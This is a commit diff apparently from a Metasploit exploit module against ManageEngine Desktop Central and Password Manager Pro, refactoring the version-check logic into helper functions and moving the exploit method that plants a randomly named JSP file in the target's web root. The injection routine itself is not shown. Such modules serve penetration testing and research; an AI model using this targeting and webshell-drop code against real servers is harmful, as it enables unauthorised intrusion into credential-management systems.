Refactor check method
This commit is contained in:
@@ -118,88 +118,51 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('CHUNK_SIZE',
|
||||
[true, 'Number of characters to send per request (< 7800)', 7500]),
|
||||
[true, 'Number of characters to send per request (< 7800)', 7500]),
|
||||
OptInt.new('SLEEP',
|
||||
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
|
||||
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
|
||||
OptBool.new('EXE_SMALL',
|
||||
[true, 'Use exe-small encoding for better reliability', true]),
|
||||
[true, 'Use exe-small encoding for better reliability', true]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
# Test for Desktop Central
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("configurations.do"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
check_code = check_desktop_central
|
||||
|
||||
if res and res.code == 200
|
||||
if res.body.to_s =~ /ManageEngine Desktop Central 7/ or
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
|
||||
# DC v7 uses the MySQL database
|
||||
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ or
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
|
||||
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8
|
||||
build = $1
|
||||
if build > "80200"
|
||||
print_status("#{peer} - Detected Desktop Central v8 #{build}")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
|
||||
end
|
||||
else
|
||||
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
|
||||
end
|
||||
# DC v8 < 80200 uses the MySQL database
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ or
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
|
||||
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9
|
||||
build = $1
|
||||
print_status("#{peer} - Detected Desktop Central v9 #{build}")
|
||||
if build < "90039"
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
if check_code == Exploit::CheckCode::Unknown
|
||||
check_code = check_password_manager_pro
|
||||
end
|
||||
|
||||
# Test for Password Manager Pro
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("PassTrixMain.cc"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and
|
||||
res.body.to_s =~ /ManageEngine Password Manager Pro/ and
|
||||
(res.body.to_s =~ /login\.css\?([0-9]+)/ or # PMP v6
|
||||
res.body.to_s =~ /login\.css\?version=([0-9]+)/ or # PMP v6
|
||||
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/) # PMP v7
|
||||
build = $1
|
||||
if build < "7003"
|
||||
if build < "6800"
|
||||
# PMP v6 < 6800 uses the MySQL database
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
|
||||
else
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
|
||||
end
|
||||
if build >= "6500"
|
||||
# if it's a build below 6500, it will only work if we have a JSP compiler
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
else
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
check_code
|
||||
end
|
||||
|
||||
def exploit
|
||||
@my_target = pick_target
|
||||
if @my_target.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
|
||||
else
|
||||
print_status("#{peer} - Selected target #{@my_target.name}")
|
||||
end
|
||||
|
||||
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
|
||||
# Fail if this is the case to avoid polluting the web root any more.
|
||||
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /windows/i
|
||||
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
|
||||
end
|
||||
|
||||
if datastore['WEB_ROOT']
|
||||
web_root = datastore['WEB_ROOT']
|
||||
else
|
||||
web_root = @my_target['WebRoot']
|
||||
end
|
||||
|
||||
jsp_name = rand_text_alpha_lower(8) + ".jsp"
|
||||
fullpath = web_root + jsp_name
|
||||
register_file_for_cleanup(fullpath.sub('../',''))
|
||||
|
||||
inject_exec(jsp_name, fullpath)
|
||||
end
|
||||
|
||||
def pick_target
|
||||
return target if target.name != 'Automatic'
|
||||
@@ -531,30 +494,110 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
handler
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
@my_target = pick_target
|
||||
if @my_target.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
|
||||
def check_desktop_central_8(body)
|
||||
if body =~ /id="buildNum" value="([0-9]+)"\/>/
|
||||
build = $1
|
||||
if ver_gt(build, '80200')
|
||||
print_status("#{peer} - Detected Desktop Central v8 #{build}")
|
||||
else
|
||||
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
|
||||
end
|
||||
else
|
||||
print_status("#{peer} - Selected target #{@my_target.name}")
|
||||
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
|
||||
end
|
||||
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
|
||||
# Fail if this is the case to avoid polluting the web root any more.
|
||||
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
|
||||
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
|
||||
# DC v8 < 80200 uses the MySQL database
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def check_desktop_central_9(body)
|
||||
if body =~ /id="buildNum" value="([0-9]+)"\/>/
|
||||
build = $1
|
||||
print_status("#{peer} - Detected Desktop Central v9 #{build}")
|
||||
if ver_lt(build, '90039')
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Test for Desktop Central
|
||||
def check_desktop_central
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("configurations.do"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if datastore['WEB_ROOT']
|
||||
web_root = datastore['WEB_ROOT']
|
||||
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/
|
||||
# DC v7 uses the MySQL database
|
||||
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
|
||||
return check_desktop_central_8(res.body.to_s)
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ ||
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
|
||||
return check_desktop_central_9(res.body.to_s)
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# Test for Password Manager Pro
|
||||
def check_password_manager_pro
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("PassTrixMain.cc"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200 &&
|
||||
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
|
||||
(
|
||||
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
|
||||
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
|
||||
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
|
||||
)
|
||||
build = $1
|
||||
else
|
||||
web_root = @my_target['WebRoot']
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
jsp_name = rand_text_alpha_lower(8) + ".jsp"
|
||||
fullpath = web_root + jsp_name
|
||||
register_file_for_cleanup(fullpath.sub('../',''))
|
||||
|
||||
inject_exec(jsp_name, fullpath)
|
||||
if ver_lt_eq(build, '6500')
|
||||
# if it's a build below 6500, it will only work if we have a JSP compiler
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)")
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif ver_lt(build, '6800')
|
||||
# PMP v6 < 6800 uses the MySQL database
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif ver_lt(build, '7003')
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def ver_lt(a, b)
|
||||
Gem::Version.new(a) < Gem::Version.new(b)
|
||||
end
|
||||
|
||||
def ver_lt_eq(a, b)
|
||||
Gem::Version.new(a) <= Gem::Version.new(b)
|
||||
end
|
||||
|
||||
def ver_gt_eq(a, b)
|
||||
Gem::Version.new(a) >= Gem::Version.new(b)
|
||||
end
|
||||
|
||||
def ver_gt(a, b)
|
||||
Gem::Version.new(a) > Gem::Version.new(b)
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user